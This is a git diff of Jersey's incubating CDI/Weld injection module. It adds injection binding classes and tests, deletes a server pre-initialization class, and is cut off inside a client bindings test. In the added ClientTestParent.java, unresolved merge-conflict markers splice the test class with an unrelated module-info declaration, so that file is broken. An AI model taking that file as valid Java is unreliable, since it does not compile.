+        userInstanceBindings.put(contract, new InstanceListBinding<>(contract));
+        userClassBindings.put(contract, new ClassListBinding<>(contract, injectionManager));
+    }
+
+    boolean init(InstanceBinding<?> userBinding) {
+        boolean init = false;
+        for (Type contract : userBinding.getContracts()) {
+            InstanceListBinding<?> binding = userInstanceBindings.get(contract);
+            if (binding != null) {
+                init = true;
+                binding.init(userBinding);
+            }
+        }
+        return init;
+    }
+
+    boolean init(ClassBinding<?> userBinding) {
+        boolean init = false;
+        for (Type contract : userBinding.getContracts()) {
+            ClassListBinding<?> binding = userClassBindings.get(contract);
+            if (binding != null) {
+                init = true;
+                binding.init(userBinding);
+            }
+        }
+
+        if (!init) {
+            init = initPathBinding(userBinding);
+        }
+
+        return init;
+    }
+
+    private boolean initPathBinding(ClassBinding<?> userBinding) {
+        boolean init = false;
+        if (isJaxRsResource(userBinding.getService())) {
+            for (Type contract : userBinding.getContracts()) {
+                if (isClass(contract)) {
+                    ClassListBinding<?> binding = userPathBindings.get(contract);
+                    if (binding != null) {
+                        binding.init(userBinding);
+                    } else {
+                        userPathBindings.put(contract, new ClassListBinding<>((Class) contract, injectionManager));
+                    }
+                    init = true;
+                }
+            }
+        }
+        return init;
+    }
+
+    <T> List<ServiceHolder<T>> getServiceHolders(Type contract) {
+        List<ServiceHolder<T>> list = new ArrayList<>();
+
+        InstanceListBinding<T> instanceBinding = (InstanceListBinding<T>) userInstanceBindings.get(contract);
+        if (instanceBinding != null) {
+            list.addAll(instanceBinding.getServiceHolders());
+        }
+
+        ClassListBinding<T> classBinding = (ClassListBinding<T>) userClassBindings.get(contract);
+        if (classBinding != null) {
+            list.addAll(classBinding.getServiceHolders());
+        } else if (isAnnotationPresent(contract, Path.class)) {
+            classBinding = (ClassListBinding<T>) userPathBindings.get(contract);
+            list.addAll(classBinding.getServiceHolders());
+        }
+
+        return list;
+    }
+
+    <T> List<T> getServices(Type contract) {
+        List<T> list = new ArrayList<>();
+
+        InstanceListBinding<T> instanceBinding = (InstanceListBinding<T>) userInstanceBindings.get(contract);
+        if (instanceBinding != null) {
+            list.addAll(instanceBinding.getServices());
+        }
+
+        ClassListBinding<T> classBinding = (ClassListBinding<T>) userClassBindings.get(contract);
+        if (classBinding != null) {
+            list.addAll(classBinding.getServices());
+        } else if (isAnnotationPresent(contract, Path.class)) {
+            classBinding = (ClassListBinding<T>) userPathBindings.get(contract);
+            list.addAll(classBinding.getServices());
+        }
+
+        return list;
+    }
+
+    private boolean isAnnotationPresent(Type contract, Class<? extends Annotation> annotation) {
+        return isClass(contract) && ((Class) contract).isAnnotationPresent(annotation);
+    }
+
+    private boolean isClass(Type contract) {
+        return Class.class.isInstance(contract);
+    }
+}
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ServerBootstrapPreinitialization.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ServerBootstrapPreinitialization.java
deleted file mode 100644
index 826c52f..0000000
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ServerBootstrapPreinitialization.java
+++ /dev/null
@@ -1,629 +0,0 @@
-/*
- * Copyright (c) 2022 Contributors to the Eclipse Foundation
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.inject.weld.internal.managed;
-
-import jakarta.inject.Inject;
-import jakarta.inject.Provider;
-import jakarta.inject.Singleton;
-import jakarta.servlet.Filter;
-import jakarta.servlet.FilterConfig;
-import jakarta.servlet.FilterRegistration;
-import jakarta.servlet.RequestDispatcher;
-import jakarta.servlet.Servlet;
-import jakarta.servlet.ServletConfig;
-import jakarta.servlet.ServletContext;
-import jakarta.servlet.ServletException;
-import jakarta.servlet.ServletRegistration;
-import jakarta.servlet.SessionCookieConfig;
-import jakarta.servlet.SessionTrackingMode;
-import jakarta.servlet.descriptor.JspConfigDescriptor;
-import jakarta.servlet.http.HttpServletRequest;
-import jakarta.servlet.http.HttpServletResponse;
-import jakarta.ws.rs.RuntimeType;
-import jakarta.ws.rs.core.Configuration;
-import jakarta.ws.rs.core.FeatureContext;
-import jakarta.ws.rs.core.GenericType;
-
-import org.glassfish.grizzly.http.server.Request;
-import org.glassfish.grizzly.http.server.Response;
-import org.glassfish.jersey.inject.weld.spi.BootstrapPreinitialization;
-import org.glassfish.jersey.internal.ServiceFinderBinder;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
-import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.ClassBinding;
-import org.glassfish.jersey.internal.inject.ReferencingFactory;
-import org.glassfish.jersey.internal.util.collection.Ref;
-import org.glassfish.jersey.model.internal.CommonConfig;
-import org.glassfish.jersey.model.internal.ComponentBag;
-import org.glassfish.jersey.process.internal.RequestScoped;
-import org.glassfish.jersey.server.wadl.WadlFeature;
-import org.glassfish.jersey.server.wadl.processor.OptionsMethodProcessor;
-import org.glassfish.jersey.server.wadl.processor.WadlModelProcessor;
-import org.glassfish.jersey.servlet.WebConfig;
-import org.glassfish.jersey.servlet.spi.AsyncContextDelegateProvider;
-import org.glassfish.jersey.servlet.spi.FilterUrlMappingsProvider;
-
-import java.io.InputStream;
-import java.net.MalformedURLException;
-import java.net.URL;
-import java.util.Collections;
-import java.util.Enumeration;
-import java.util.EventListener;
-import java.util.Map;
-import java.util.Set;
-
-
-/**
- * Jersey server side pre-initialization implementation.
- */
-// TODO : put to a proper module
-public class ServerBootstrapPreinitialization implements BootstrapPreinitialization {
-
-
-    /**
-     * Referencing factory for Grizzly request.
-     */
-    private static class GrizzlyRequestReferencingFactory extends ReferencingFactory<Request> {
-
-        @Inject
-        public GrizzlyRequestReferencingFactory(final Provider<Ref<Request>> referenceFactory) {
-            super(referenceFactory);
-        }
-    }
-
-    /**
-     * Referencing factory for Grizzly response.
-     */
-    private static class GrizzlyResponseReferencingFactory extends ReferencingFactory<Response> {
-
-        @Inject
-        public GrizzlyResponseReferencingFactory(final Provider<Ref<Response>> referenceFactory) {
-            super(referenceFactory);
-        }
-    }
-
-    @SuppressWarnings("JavaDoc")
-    private static class HttpServletRequestReferencingFactory extends ReferencingFactory<HttpServletRequest> {
-
-        @Inject
-        public HttpServletRequestReferencingFactory(final Provider<Ref<HttpServletRequest>> referenceFactory) {
-            super(referenceFactory);
-        }
-    }
-
-    @SuppressWarnings("JavaDoc")
-    private static class HttpServletResponseReferencingFactory extends ReferencingFactory<HttpServletResponse> {
-
-        @Inject
-        public HttpServletResponseReferencingFactory(final Provider<Ref<HttpServletResponse>> referenceFactory) {
-            super(referenceFactory);
-        }
-    }
-
-    private static class WebConfigInitializer implements WebConfig {
-
-        @Override
-        public ConfigType getConfigType() {
-            return ConfigType.ServletConfig;
-        }
-
-        @Override
-        public ServletConfig getServletConfig() {
-            return new ServletConfig() {
-                @Override
-                public String getServletName() {
-                    return "Preinit";
-                }
-
-                @Override
-                public ServletContext getServletContext() {
-                    return WebConfigInitializer.this.getServletContext();
-                }
-
-                @Override
-                public String getInitParameter(String name) {
-                    return null;
-                }
-
-                @Override
-                public Enumeration<String> getInitParameterNames() {
-                    return null;
-                }
-            };
-        }
-
-        @Override
-        public FilterConfig getFilterConfig() {
-            return null;
-        }
-
-        @Override
-        public String getName() {
-            return "Preinit";
-        }
-
-        @Override
-        public String getInitParameter(String name) {
-            return getName();
-        }
-
-        @Override
-        public Enumeration getInitParameterNames() {
-            return null;
-        }
-
-        @Override
-        public ServletContext getServletContext() {
-            return new ServletContext() {
-                @Override
-                public String getContextPath() {
-                    return null;
-                }
-
-                @Override
-                public ServletContext getContext(String uripath) {
-                    return WebConfigInitializer.this.getServletContext();
-                }
-
-                @Override
-                public int getMajorVersion() {
-                    return 0;
-                }
-
-                @Override
-                public int getMinorVersion() {
-                    return 0;
-                }
-
-                @Override
-                public int getEffectiveMajorVersion() {
-                    return 0;
-                }
-
-                @Override
-                public int getEffectiveMinorVersion() {
-                    return 0;
-                }
-
-                @Override
-                public String getMimeType(String file) {
-                    return null;
-                }
-
-                @Override
-                public Set<String> getResourcePaths(String path) {
-                    return null;
-                }
-
-                @Override
-                public URL getResource(String path) throws MalformedURLException {
-                    return null;
-                }
-
-                @Override
-                public InputStream getResourceAsStream(String path) {
-                    return null;
-                }
-
-                @Override
-                public RequestDispatcher getRequestDispatcher(String path) {
-                    return null;
-                }
-
-                @Override
-                public RequestDispatcher getNamedDispatcher(String name) {
-                    return null;
-                }
-
-                @Override
-                public void log(String msg) {
-
-                }
-
-                @Override
-                public void log(String message, Throwable throwable) {
-
-                }
-
-                @Override
-                public String getRealPath(String path) {
-                    return null;
-                }
-
-                @Override
-                public String getServerInfo() {
-                    return null;
-                }
-
-                @Override
-                public String getInitParameter(String name) {
-                    return null;
-                }
-
-                @Override
-                public Enumeration<String> getInitParameterNames() {
-                    return null;
-                }
-
-                @Override
-                public boolean setInitParameter(String name, String value) {
-                    return false;
-                }
-
-                @Override
-                public Object getAttribute(String name) {
-                    return null;
-                }
-
-                @Override
-                public Enumeration<String> getAttributeNames() {
-                    return null;
-                }
-
-                @Override
-                public void setAttribute(String name, Object object) {
-
-                }
-
-                @Override
-                public void removeAttribute(String name) {
-
-                }
-
-                @Override
-                public String getServletContextName() {
-                    return null;
-                }
-
-                @Override
-                public ServletRegistration.Dynamic addServlet(String servletName, String className) {
-                    return null;
-                }
-
-                @Override
-                public ServletRegistration.Dynamic addServlet(String servletName, Servlet servlet) {
-                    return null;
-                }
-
-                @Override
-                public ServletRegistration.Dynamic addServlet(String servletName, Class<? extends Servlet> servletClass) {
-                    return null;
-                }
-
-                @Override
-                public ServletRegistration.Dynamic addJspFile(String servletName, String jspFile) {
-                    return null;
-                }
-
-                @Override
-                public <T extends Servlet> T createServlet(Class<T> clazz) throws ServletException {
-                    return null;
-                }
-
-                @Override
-                public ServletRegistration getServletRegistration(String servletName) {
-                    return null;
-                }
-
-                @Override
-                public Map<String, ? extends ServletRegistration> getServletRegistrations() {
-                    return null;
-                }
-
-                @Override
-                public FilterRegistration.Dynamic addFilter(String filterName, String className) {
-                    return null;
-                }
-
-                @Override
-                public FilterRegistration.Dynamic addFilter(String filterName, Filter filter) {
-                    return null;
-                }
-
-                @Override
-                public FilterRegistration.Dynamic addFilter(String filterName, Class<? extends Filter> filterClass) {
-                    return null;
-                }
-
-                @Override
-                public <T extends Filter> T createFilter(Class<T> clazz) throws ServletException {
-                    return null;
-                }
-
-                @Override
-                public FilterRegistration getFilterRegistration(String filterName) {
-                    return null;
-                }
-
-                @Override
-                public Map<String, ? extends FilterRegistration> getFilterRegistrations() {
-                    return null;
-                }
-
-                @Override
-                public SessionCookieConfig getSessionCookieConfig() {
-                    return null;
-                }
-
-                @Override
-                public void setSessionTrackingModes(Set<SessionTrackingMode> sessionTrackingModes) {
-
-                }
-
-                @Override
-                public Set<SessionTrackingMode> getDefaultSessionTrackingModes() {
-                    return null;
-                }
-
-                @Override
-                public Set<SessionTrackingMode> getEffectiveSessionTrackingModes() {
-                    return null;
-                }
-
-                @Override
-                public void addListener(String className) {
-
-                }
-
-                @Override
-                public <T extends EventListener> void addListener(T t) {
-
-                }
-
-                @Override
-                public void addListener(Class<? extends EventListener> listenerClass) {
-
-                }
-
-                @Override
-                public <T extends EventListener> T createListener(Class<T> clazz) throws ServletException {
-                    return null;
-                }
-
-                @Override
-                public JspConfigDescriptor getJspConfigDescriptor() {
-                    return null;
-                }
-
-                @Override
-                public ClassLoader getClassLoader() {
-                    return null;
-                }
-
-                @Override
-                public void declareRoles(String... roleNames) {
-
-                }
-
-                @Override
-                public String getVirtualServerName() {
-                    return null;
-                }
-
-                @Override
-                public int getSessionTimeout() {
-                    return 0;
-                }
-
-                @Override
-                public void setSessionTimeout(int sessionTimeout) {
-
-                }
-
-                @Override
-                public String getRequestCharacterEncoding() {
-                    return null;
-                }
-
-                @Override
-                public void setRequestCharacterEncoding(String encoding) {
-
-                }
-
-                @Override
-                public String getResponseCharacterEncoding() {
-                    return null;
-                }
-
-                @Override
-                public void setResponseCharacterEncoding(String encoding) {
-
-                }
-            };
-        }
-    }
-
-    private static class PreinitializationFeatureContext implements FeatureContext {
-
-        private final AbstractBinder binder;
-
-        private PreinitializationFeatureContext(AbstractBinder binder) {
-            this.binder = binder;
-        }
-
-        @Override
-        public Configuration getConfiguration() {
-            return new CommonConfig(RuntimeType.SERVER, ComponentBag.INCLUDE_ALL);
-        }
-
-        @Override
-        public FeatureContext property(String name, Object value) {
-            return this;
-        }
-
-        @Override
-        public FeatureContext register(Class<?> componentClass) {
-            binder.bindAsContract(componentClass);
-            return this;
-        }
-
-        @Override
-        public FeatureContext register(Class<?> componentClass, int priority) {
-            binder.bindAsContract(componentClass).ranked(priority);
-            return this;
-        }
-
-        @Override
-        public FeatureContext register(Class<?> componentClass, Class<?>... contracts) {
-            final ClassBinding binding = binder.bind(componentClass);
-            if (contracts != null) {
-                for (Class<?> contract : contracts) {
-                    binding.to(contract);
-                }
-            }
-            return this;
-        }
-
-        @Override
-        public FeatureContext register(Class<?> componentClass, Map<Class<?>, Integer> contracts) {
-            for (Map.Entry<Class<?>, Integer> contract : contracts.entrySet()) {
-                final AbstractBinder abstractBinder = new AbstractBinder() {
-                    @Override
-                    protected void configure() {
-                    }
-                };
-                final ClassBinding binding = abstractBinder.bind(componentClass);
-                binding.to(contract.getKey()).ranked(contract.getValue());
-                binder.install(abstractBinder);
-            }
-            return this;
-        }
-
-        @Override
-        public FeatureContext register(Object component) {
-            if (AbstractBinder.class.isInstance(component)) {
-                binder.install((AbstractBinder) component);
-            } else {
-                binder.bind(component).to(component.getClass());
-            }
-            return this;
-        }
-
-        @Override
-        public FeatureContext register(Object component, int priority) {
-            binder.bind(component).to(component.getClass()).ranked(priority);
-            return this;
-        }
-
-        @Override
-        public FeatureContext register(Object component, Class<?>... contracts) {
-            Binding binding = binder.bind(component);
-            if (contracts != null) {
-                for (Class<?> contract : contracts) {
-                    binding.to(contract);
-                }
-            }
-            return this;
-        }
-
-        @Override
-        public FeatureContext register(Object component, Map<Class<?>, Integer> contracts) {
-            for (Map.Entry<Class<?>, Integer> contract : contracts.entrySet()) {
-                final AbstractBinder abstractBinder = new AbstractBinder() {
-                    @Override
-                    protected void configure() {
-                    }
-                };
-                final Binding binding = abstractBinder.bind(component);
-                binding.to(contract.getKey()).ranked(contract.getValue());
-                binder.install(abstractBinder);
-            }
-            return this;
-        }
-    }
-
-    @Override
-    public void register(RuntimeType runtimeType, AbstractBinder binder) {
-//        binder.install(new MessagingBinders.MessageBodyProviders(null, RuntimeType.SERVER),
-//                new MessagingBinders.HeaderDelegateProviders());
-//
-//        // Server Binder
-//        binder.install(new MappableExceptionWrapperInterceptor.Binder(),
-//                new MonitoringContainerListener.Binder());
-//        binder.bind(ChunkedResponseWriter.class).to(MessageBodyWriter.class).in(Singleton.class);
-//        binder.bind(JsonWithPaddingInterceptor.class).to(WriterInterceptor.class).in(Singleton.class);
-
-        if (runtimeType == RuntimeType.SERVER) {
-            // new ApplicationHandler(new ResourceConfig());
-
-            //grizzly
-            binder.bindFactory(GrizzlyRequestReferencingFactory.class).to(Request.class)
-                    .proxy(false).in(RequestScoped.class);
-            binder.bindFactory(ReferencingFactory.<Request>referenceFactory()).to(new GenericType<Ref<Request>>() {})
-                    .in(RequestScoped.class);
-
-            binder.bindFactory(GrizzlyResponseReferencingFactory.class).to(Response.class)
-                    .proxy(true).proxyForSameScope(false).in(RequestScoped.class);
-            binder.bindFactory(ReferencingFactory.<Response>referenceFactory()).to(new GenericType<Ref<Response>>() {})
-                    .in(RequestScoped.class);
-
-            // servlet
-            binder.bindFactory(HttpServletRequestReferencingFactory.class).to(HttpServletRequest.class)
-                    .proxy(true).proxyForSameScope(false).in(RequestScoped.class);
-
-            binder.bindFactory(ReferencingFactory.referenceFactory())
-                    .to(new GenericType<Ref<HttpServletRequest>>() {}).in(RequestScoped.class);
-
-            binder.bindFactory(HttpServletResponseReferencingFactory.class).to(HttpServletResponse.class)
-                    .proxy(true).proxyForSameScope(false).in(RequestScoped.class);
-            binder.bindFactory(ReferencingFactory.referenceFactory())
-                    .to(new GenericType<Ref<HttpServletResponse>>() {}).in(RequestScoped.class);
-
-            final WebConfig webConfig = new WebConfigInitializer();
-            final Map<String, Object> applicationProperties = Collections.EMPTY_MAP;
-
-            binder.bindFactory(() -> webConfig.getServletContext()).to(ServletContext.class).in(Singleton.class);
-            binder.bindFactory(() -> webConfig).to(WebConfig.class).in(Singleton.class);
-            binder.install(
-                    new ServiceFinderBinder<>(AsyncContextDelegateProvider.class, applicationProperties, RuntimeType.SERVER));
-            binder.install(
-                    new ServiceFinderBinder<>(FilterUrlMappingsProvider.class, applicationProperties, RuntimeType.SERVER));
-
-            final ServletConfig servletConfig = webConfig.getServletConfig();
-            binder.bindFactory(() -> servletConfig).to(ServletConfig.class).in(Singleton.class);
-
-            // WADL TODO put to a proper module
-            try {
-                new WadlFeature().configure(new PreinitializationFeatureContext(binder) {
-                    @Override
-                    public FeatureContext register(Class<?> componentClass) {
-                        if (WadlModelProcessor.class.isAssignableFrom(componentClass)) {
-                            super.register(WadlModelProcessor.OptionsHandler.class);
-                        }
-                        super.register(componentClass);
-                        return this;
-                    }
-                });
-            } catch (Exception e) {
-
-            }
-            try {
-                Class[] classes = OptionsMethodProcessor.class.getDeclaredClasses();
-                for (Class clz : classes) {
-                    binder.bindAsContract(clz);
-                }
-            } catch (Exception e) {
-
-            }
-        }
-
-//
-//        //ApplicationConfigurator
-//        binder.bind(new InitializableInstanceBinding((Application) null).to(Application.class));
-    }
-}
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/managed/CdiInjectionManagerFactory.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/managed/CdiInjectionManagerFactory.java
index ad7ac01..ea56bd8 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/managed/CdiInjectionManagerFactory.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/managed/CdiInjectionManagerFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,6 +19,7 @@
 import jakarta.annotation.Priority;
 import jakarta.enterprise.context.spi.CreationalContext;
 import jakarta.ws.rs.RuntimeType;
+import jakarta.ws.rs.core.Configuration;
 
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.inject.weld.internal.injector.JerseyClientCreationalContext;
@@ -33,12 +34,27 @@
 @Priority(20)
 public class CdiInjectionManagerFactory extends CdiInjectionManagerFactoryBase implements InjectionManagerFactory {
 
+    /**
+     * True when @Context mixed with @Inject is to be supported
+     */
+    public static boolean SUPPORT_CONTEXT = true;
+
+    /**
+     * True when CDI injection on client is supported
+     */
+    public static boolean SUPPORT_CLIENT = true;
+
     @Override
-    // TODO deprecate this in favor of #create(Object parent, RuntimeType runtimeType)
+    @Deprecated
     public InjectionManager create(Object parent) {
         return create(parent, getRuntimeType());
     }
 
+    @Override
+    public InjectionManager create(Object parent, Configuration configuration) {
+        return create(parent, configuration.getRuntimeType());
+    }
+
     /**
      * Create injectionManager for {@link RuntimeType#CLIENT or get the existing injection manager for the server}
      * @param parent Parent injection manager. Not used in this InjectionManagerFactory.
@@ -62,7 +78,7 @@
         }
     }
 
-    // TODO refactor to call InjectionManagerFactory#create(Object, RuntimeType);
+    @Deprecated
     private static RuntimeType getRuntimeType() {
         Exception e = new RuntimeException();
         for (StackTraceElement element : e.getStackTrace()) {
diff --git a/incubator/cdi-inject-weld/src/main/resources/META-INF/services/org.glassfish.jersey.inject.weld.spi.BootstrapPreinitialization b/incubator/cdi-inject-weld/src/main/resources/META-INF/services/org.glassfish.jersey.inject.weld.spi.BootstrapPreinitialization
deleted file mode 100644
index 9e2e9ad..0000000
--- a/incubator/cdi-inject-weld/src/main/resources/META-INF/services/org.glassfish.jersey.inject.weld.spi.BootstrapPreinitialization
+++ /dev/null
@@ -1,17 +0,0 @@
-#
-# Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
-#
-# This program and the accompanying materials are made available under the
-# terms of the Eclipse Public License v. 2.0, which is available at
-# http://www.eclipse.org/legal/epl-2.0.
-#
-# This Source Code may also be made available under the following Secondary
-# Licenses when the conditions for such availability set forth in the
-# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-# version 2 with the GNU Classpath Exception, which is available at
-# https://www.gnu.org/software/classpath/license.html.
-#
-# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-#
-org.glassfish.jersey.inject.weld.internal.managed.ClientBootstrapPreinitialization
-org.glassfish.jersey.inject.weld.internal.managed.ServerBootstrapPreinitialization
\ No newline at end of file
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/ClientTestParent.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/ClientTestParent.java
new file mode 100644
index 0000000..9b24444
--- /dev/null
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/ClientTestParent.java
@@ -0,0 +1,39 @@
+/*
+<<<<<<<< HEAD:incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/ClientTestParent.java
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+========
+ * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved.
+>>>>>>>> origin/3.1.JPMS:tests/integration/jersey-780/src/main/java/module-info.java
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+<<<<<<<< HEAD:incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/ClientTestParent.java
+package org.glassfish.jersey.inject.weld;
+
+import org.glassfish.jersey.internal.inject.Injections;
+import org.junit.jupiter.api.BeforeEach;
+
+import jakarta.ws.rs.RuntimeType;
+
+public class ClientTestParent extends TestParent {
+    @BeforeEach
+    public void init() {
+        injectionManager = Injections.createInjectionManager(RuntimeType.CLIENT);
+    }
+}
+========
+module org.glassfish.jersey.tests.integration.jersey_780 {
+    requires jakarta.ws.rs;
+}
+>>>>>>>> origin/3.1.JPMS:tests/integration/jersey-780/src/main/java/module-info.java
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/TestParent.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/TestParent.java
new file mode 100644
index 0000000..b89a179
--- /dev/null
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/TestParent.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.inject.weld;
+
+import jakarta.enterprise.inject.se.SeContainer;
+import jakarta.enterprise.inject.se.SeContainerInitializer;
+
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.inject.Injections;
+import org.glassfish.jersey.internal.inject.ServiceHolder;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.BeforeAll;
+
+import java.util.List;
+
+public class TestParent {
+    protected static SeContainer container;
+    protected InjectionManager injectionManager;
+
+    @BeforeAll
+    public static void setup() {
+        SeContainerInitializer containerInitializer = SeContainerInitializer.newInstance();
+        container = containerInitializer.initialize();
+    }
+
+    @BeforeEach
+    public void init() {
+        injectionManager = Injections.createInjectionManager();
+    }
+
+    @AfterAll
+    public static void tearDown() throws Exception {
+        container.close();
+    }
+
+    protected <T> void assertOneInstance(Class<T> type, String implementationName) {
+        Assertions.assertEquals(1, injectionManager.getAllInstances(type).size());
+        Assertions.assertEquals(1, injectionManager.getAllServiceHolders(type).size());
+        T provider = injectionManager.getInstance(type);
+        Assertions.assertNotNull(provider);
+        Assertions.assertTrue(provider.getClass().getName().contains(implementationName),
+                "The provider name was " + provider.getClass().getName() + " but expected was " + implementationName);
+    }
+
+    protected <T> void assertMultiple(Class<T> type, int minCount, String... implementationNames) {
+        assertMultiple(injectionManager, type, minCount, implementationNames);
+    }
+
+    public static <T> void assertMultiple(
+            InjectionManager injectionManager, Class<T> type, int minCount, String... implementationNames) {
+        List<T> instances = injectionManager.getAllInstances(type);
+        Assertions.assertTrue(instances.size() >= minCount, type.getSimpleName() + " instances " + instances.size());
+        for (String implName : implementationNames) {
+            Assertions.assertTrue(instances.stream().anyMatch(i -> i.getClass().getSimpleName().equals(implName)),
+                    implName + " was not found among the instances");
+        }
+
+        List<ServiceHolder<T>> holders = injectionManager.getAllServiceHolders(type);
+        Assertions.assertTrue(holders.size() >= minCount, type.getSimpleName() + " service holders " + instances.size());
+        for (String implName : implementationNames) {
+            Assertions.assertTrue(holders.stream().anyMatch(h -> h.getInstance().getClass().getSimpleName().equals(implName)),
+                    implName + " was not found among the service holders");
+        }
+    }
+
+}
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/client/ClientBindingsTest.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/client/ClientBindingsTest.java
new file mode 100644
index 0000000..4b618d8
--- /dev/null
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/client/ClientBindingsTest.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.inject.weld.binder.client;
+
+import org.glassfish.jersey.client.ClientBootstrapBag;
+import org.glassfish.jersey.client.ClientBootstrapPreinitialization;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.inject.ParameterUpdaterProvider;
+import org.glassfish.jersey.client.internal.inject.ParameterUpdaterConfigurator;
+import org.glassfish.jersey.inject.weld.ClientTestParent;
+import org.glassfish.jersey.internal.BootstrapBag;
+import org.glassfish.jersey.internal.ContextResolverFactory;
+import org.glassfish.jersey.internal.ExceptionMapperFactory;
+import org.glassfish.jersey.internal.JaxrsProviders;
+import org.glassfish.jersey.internal.inject.ServiceHolder;
+import org.glassfish.jersey.internal.spi.AutoDiscoverable;
+import org.glassfish.jersey.message.MessageBodyWorkers;
+import org.glassfish.jersey.message.internal.MessageBodyFactory;
+import org.glassfish.jersey.spi.ContextResolvers;
+import org.glassfish.jersey.spi.ExceptionMappers;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.RuntimeType;
+import jakarta.ws.rs.core.Configuration;
+import jakarta.ws.rs.ext.ParamConverterProvider;
+import jakarta.ws.rs.ext.Providers;
+import java.util.List;
+
+public class ClientBindingsTest extends ClientTestParent {
+    @Test
+    void testConfigurationInjection() {
+        injectionManager.completeRegistration();
+        new ClientBootstrapPreinitialization().preregister(RuntimeType.CLIENT, injectionManager);
+        assertOneInstance(Configuration.class, "ClientConfig$State");
+    }
+
+    @Test
+    void testParamConverterProvider() {
+        injectionManager.completeRegistration();
+        // new ParamConverterConfigurator().init(injectionManager, (BootstrapBag) null); requires Configuration
+        new ClientBootstrapPreinitialization().preregister(RuntimeType.CLIENT, injectionManager);
+        assertOneInstance(ParamConverterProvider.class, "AggregatedProvider");
+    }
+
+    @Test
+    void testParameterUpdaterProvider() {
+        injectionManager.completeRegistration();
+        new ParameterUpdaterConfigurator().init(injectionManager, new ClientBootstrapBag());
+        assertOneInstance(ParameterUpdaterProvider.class, "ParameterUpdaterFactory");
+    }
+
+    @Test
